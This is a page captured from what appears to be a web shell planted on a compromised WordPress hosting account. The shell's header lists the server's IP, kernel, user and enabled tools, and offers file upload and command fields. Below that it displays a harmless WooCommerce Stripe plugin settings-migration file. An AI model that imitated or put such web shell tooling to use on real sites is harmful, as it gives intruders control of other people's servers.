403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/www/wp-content/plugins/woo-stripe-payment/includes/updates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/www/wp-content/plugins/woo-stripe-payment/includes/updates/update-3.3.28.php
<?php

defined( 'ABSPATH' ) || exit();

if ( function_exists( 'WC' ) ) {
	$plaid_settings = get_option( 'woocommerce_stripe_plaid_settings', false );

	// only update if the plaid settings don't exist.
	if ( ! $plaid_settings ) {
		// ensure the update doesn't timeout
		wc_set_time_limit( 0 );
		$ach_gateway = WC()->payment_gateways()->payment_gateways()['stripe_ach'];
		if ( $ach_gateway ) {
			$plaid_settings = $ach_gateway->settings;

			$new_settings = [
				'enabled'           => $ach_gateway->get_option( 'enabled' ),
				'title_text'        => $ach_gateway->get_option( 'title_text' ),
				'description'       => $ach_gateway->get_option( 'description' ),
				'order_button_text' => $ach_gateway->get_option( 'order_button_text' ),
				'business_name'     => $ach_gateway->get_option( 'client_name' ),
				'method_format'     => $ach_gateway->get_option( 'method_format' ),
				'order_status'      => $ach_gateway->get_option( 'order_status' ),
				'fee'               => $ach_gateway->get_option( 'fee' )
			];

			// If plaid was enabled, add an option to the new settings
			if ( wc_string_to_bool( $ach_gateway->get_option( 'enabled' ) ) ) {
				$new_settings['plaid_enabled'] = 'yes';
			}

			// rename the stripe_ach settings to stripe_plaid
			update_option( 'woocommerce_stripe_plaid_settings', $plaid_settings );

			update_option( 'woocommerce_stripe_ach_settings', $new_settings );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit